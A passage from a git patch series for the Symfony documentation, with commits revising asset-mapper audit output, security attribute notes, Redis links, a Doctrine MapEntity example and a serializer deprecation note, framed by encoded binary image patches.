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

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 2f969420a9d..28c213c8f61 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -1043,30 +1043,41 @@ This will force the AssetMapper component to re-calculate the content of all fil
 Run Security Audits on Your Dependencies
 ----------------------------------------
 
-Just like ``npm`` and ``yarn``, the AssetMapper component comes bundled with a
-command allowing you to quickly have a look at security vulnerability advisories
-that may exist in the dependencies you're using in your application:
+Similar to ``npm`` and ``yarn``, the AssetMapper component comes bundled with a
+command that checks security vulnerabilities in the dependencies of your application:
 
 .. code-block:: terminal
 
     $ php bin/console importmap:audit
 
-This command will result in an output similar to this:
-
-.. image:: /_images/components/assetmapper/01-importmap-audit.png
-    :alt: Console output showing a table of security vulnerabilities that exist
-    in the dependencies used in the application.
-
-Additionally, the command takes a ``--format`` option to chose in which format
-the output should be. The values supported by this options are the following:
-
-* ``txt``
-* ``json``
+    --------  ---------------------------------------------  ---------  -------  ----------  -----------------------------------------------------
+    Severity  Title                                          Package    Version  Patched in  More info
+    --------  ---------------------------------------------  ---------  -------  ----------  -----------------------------------------------------
+    Medium    jQuery Cross Site Scripting vulnerability      jquery     3.3.1    3.5.0       https://api.github.com/advisories/GHSA-257q-pV89-V3xv
+    Medium    Potential XSS vulnerability in jQuery          jquery     3.3.1    3.5.0       https://api.github.com/advisories/GHSA-jpcq-cgw6-v4j6
+    Medium    Potential XSS vulnerability in jQuery          jquery     3.3.1    3.5.0       https://api.github.com/advisories/GHSA-gxr4-xjj5-5px2
+    Medium    XSS in jQuery as used in Drupal, etc.          jquery     3.3.1    3.4.0       https://api.github.com/advisories/GHSA-6c3j-c64m-qhgg
+    Medium    Prototype Pollution in jQuery                  jquery     3.3.1    3.4.0       https://api.github.com/advisories/GHSA-wV67-q8rr-grjp
+    High      Prototype Pollution in JSON5 via Parse Method  json5      1.0.0    1.0.2       https://api.github.com/advisories/GHSA-9c47-m6qq-7p4h
+    Medium    semver vulnerable to RegExp Denial of Service  semver     4.3.0    5.7.2       https://api.github.com/advisories/GHSA-c2qf-rxjj-qqgw
+    High      RegExp Denial of Service in sever              semver     4.3.0    4.3.2       https://api.github.com/advisories/GHSA-X6fg-f45m-jf5g
+    Critical  Prototype Pollution in minimist                minimist   1.1.3    1.2.6       https://api.github.com/advisories/GHSA-xvch-5gv4-984h
+    Medium    Prototype Pollution in minimist                minimist   1.1.3    1.2.3       https://api.github.com/advisories/GHSA-vh95-rmgr-6w4m
+    Medium    ESLint dependencies are vulnerable             minimist   1.1.3    1.2.2       https://api.github.com/advisories/GHSA-7fhm-mqm4-2wp7
+    Medium    Bootstrap Vulnerable to Cross-Site Scripting   bootstrap  4.1.3    4.3.1       https://api.github.com/advisories/GHSA-9v3M-8fp8-mi99
+    --------  ---------------------------------------------  ---------  -------  ----------  -----------------------------------------------------
+
+    7 packages found: 7 audited / 0 skipped
+    12 vulnerabilities found: 1 Critical / 2 High / 9 Medium
 
 The command will return the ``0`` exit code if no vulnerability is found, or
 the ``-1`` exit code otherwise. This means that you can seamlessly integrate this
-command as part of your CI to be warned anytime a new vulnerability is found
-in the packages you use.
+command as part of your CI to be warned anytime a new vulnerability is found.
+
+.. tip::
+
+    The command takes a ``--format`` option to choose the output format between
+    ``txt`` and ``json``.
 
 .. versionadded:: 6.4
 

From 503aba140abda47a41afd047527b1e1fa1050aed Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 5 Oct 2023 17:12:01 +0200
Subject: [PATCH 5270/7107] [Security] Explain that IS_AUTHENTICATED_REMEMBERED
 should not be used

---
 security.rst | 14 +++++++++-----
 1 file changed, 9 insertions(+), 5 deletions(-)

diff --git a/security.rst b/security.rst
index e33ff85936b..301371bede9 100644
--- a/security.rst
+++ b/security.rst
@@ -2666,11 +2666,6 @@ You can use ``IS_AUTHENTICATED`` anywhere roles are used: like
 user that has logged in will have this. Actually, there are some special attributes
 like this:
 
-* ``IS_AUTHENTICATED_REMEMBERED``: *all* logged in users have this, even
-  if they are logged in because of a "remember me cookie". Even if you don't
-  use the :doc:`remember me functionality </security/remember_me>`,
-  you can use this to check if the user is logged in.
-
 * ``IS_AUTHENTICATED_FULLY``: This is similar to ``IS_AUTHENTICATED_REMEMBERED``,
   but stronger. Users who are logged in only because of a "remember me cookie"
   will have ``IS_AUTHENTICATED_REMEMBERED`` but will not have ``IS_AUTHENTICATED_FULLY``.
@@ -2683,6 +2678,15 @@ like this:
   :doc:`impersonating </security/impersonating_user>` another user in this
   session, this attribute will match.
 
+.. note::
+
+    All logged in users also have an attribute called ``IS_AUTHENTICATED_REMEMBERED``,
+    even if the application doesn't use the Remember Me feature. This attribute
+    exists for backward-compatibility reasons with Symfony versions prior to 6.4.
+
+    This attribute behaves the same as ``IS_AUTHENTICATED``. That's why in modern
+    Symfony applications it's recommended to no longer use ``IS_AUTHENTICATED_REMEMBERED``.
+
 .. _user_session_refresh:
 
 Understanding how Users are Refreshed from the Session

From 95dc3ea19e965216c62f8b3f9acc65a1206b19da Mon Sep 17 00:00:00 2001
From: Steve Nebes <snebes@users.noreply.github.com>
Date: Thu, 5 Oct 2023 21:58:36 -0500
Subject: [PATCH 5271/7107] Redis change default branch and docs location

---
 components/cache/adapters/redis_adapter.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index dc711d6b8e0..511cd442370 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -250,8 +250,8 @@ Read more about this topic in the official `Redis LRU Cache Documentation`_.
 .. _`Data Source Name (DSN)`: https://en.wikipedia.org/wiki/Data_source_name
 .. _`Redis server`: https://redis.io/
 .. _`Redis`: https://github.com/phpredis/phpredis
-.. _`RedisArray`: https://github.com/phpredis/phpredis/blob/master/arrays.markdown#readme
-.. _`RedisCluster`: https://github.com/phpredis/phpredis/blob/master/cluster.markdown#readme
+.. _`RedisArray`: https://github.com/phpredis/phpredis/blob/develop/arrays.md
+.. _`RedisCluster`: https://github.com/phpredis/phpredis/blob/develop/cluster.md
 .. _`Predis`: https://packagist.org/packages/predis/predis
 .. _`Predis Connection Parameters`: https://github.com/nrk/predis/wiki/Connection-Parameters#list-of-connection-parameters
 .. _`TCP-keepalive`: https://redis.io/topics/clients#tcp-keepalive

From 8be44d7e37b5abf900ebcc594c1a13aecb4c3cc1 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 5 Oct 2023 09:25:19 +0200
Subject: [PATCH 5272/7107] [DoctrineBridge] Pass `Request` to
 EntityValueResolver

---
 doctrine.rst | 17 +++++++++++++++++
 1 file changed, 17 insertions(+)

diff --git a/doctrine.rst b/doctrine.rst
index eea51c7d974..0e8cd614598 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -746,6 +746,23 @@ In the example above, the ``$product`` argument is handled automatically,
 but ``$comment`` is configured with the attribute since they cannot both follow
 the default convention.
 
+If you need to get other information from the request to query the database, you
+can also access to the request in your expression thanks to the ``request``
+variable. Let's say you pass the page limit of a list in a query parameter::
+
+    #[Route('/product/{id}/comments')]
+    public function show(
+        Product $product,
+        #[MapEntity(expr: 'repository.findBy(["product_id" => id], null, request.query.get("limit", 10)')]
+        iterable $comments
+    ): Response {
+    }
+
+.. versionadded:: 6.4
+
+    The support for the ``request`` variable in expressions was introduced
+    in Symfony 6.4.
+
 MapEntity Options
 ~~~~~~~~~~~~~~~~~
 

From 83162e3f96cc997d31b7e695d0e2143b33af232f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 6 Oct 2023 16:18:57 +0200
Subject: [PATCH 5273/7107] Remove an unneeded reference to a not recommended
 feature

---
 security.rst | 9 ---------
 1 file changed, 9 deletions(-)

diff --git a/security.rst b/security.rst
index 301371bede9..7285a6b77b4 100644
--- a/security.rst
+++ b/security.rst
@@ -2678,15 +2678,6 @@ like this:
   :doc:`impersonating </security/impersonating_user>` another user in this
   session, this attribute will match.
 
-.. note::
-
-    All logged in users also have an attribute called ``IS_AUTHENTICATED_REMEMBERED``,
-    even if the application doesn't use the Remember Me feature. This attribute
-    exists for backward-compatibility reasons with Symfony versions prior to 6.4.
-
-    This attribute behaves the same as ``IS_AUTHENTICATED``. That's why in modern
-    Symfony applications it's recommended to no longer use ``IS_AUTHENTICATED_REMEMBERED``.
-
 .. _user_session_refresh:
 
 Understanding how Users are Refreshed from the Session

From 3e9af1bc2be7b51b474a1c2d92c3d74b81a4aa37 Mon Sep 17 00:00:00 2001
From: Mathias Arlaud <mathias.arlaud@gmail.com>
Date: Tue, 22 Aug 2023 08:59:05 +0200
Subject: [PATCH 5274/7107] [Serializer] Use NormalizerInterface instead of
 ObjectNormalizer

---
 serializer/custom_normalizer.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index 5b70acecdb5..f3c099e6466 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -48,6 +48,15 @@ to customize the normalized data. To do that, leverage the ``ObjectNormalizer``:
         }
     }
 
+.. deprecated:: 6.1
+
+    Injecting an ``ObjectNormalizer`` in your custom normalizer is deprecated
+    since Symfony 6.1. Implement the
+    :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizerAwareInterface`
+    and use the
+    :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizerAwareTrait` instead
+    to inject the ``$normalizer`` property.
+
 Registering it in your Application
 ----------------------------------
 

From ddbb0c00a78e9996ff2ca909c9aade6ee5c4d61f Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Simon=20Andr=C3=A9?= <smn.andre@gmail.com>
Date: Sat, 7 Oct 2023 13:08:12 +0200
Subject: [PATCH 5275/7107] Update profiler capture

---
 _images/profiler/web-interface.png | Bin 126397 -> 304561 bytes
 1 file changed, 0 insertions(+), 0 deletions(-)

diff --git a/_images/profiler/web-interface.png b/_images/profiler/web-interface.png
index 2a1bc8a0650a75de1472c7fd18141711954b67b2..b107f6427d79e59283125467f0a9c8fc3ab6b5d6 100644
GIT binary patch
literal 304561
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
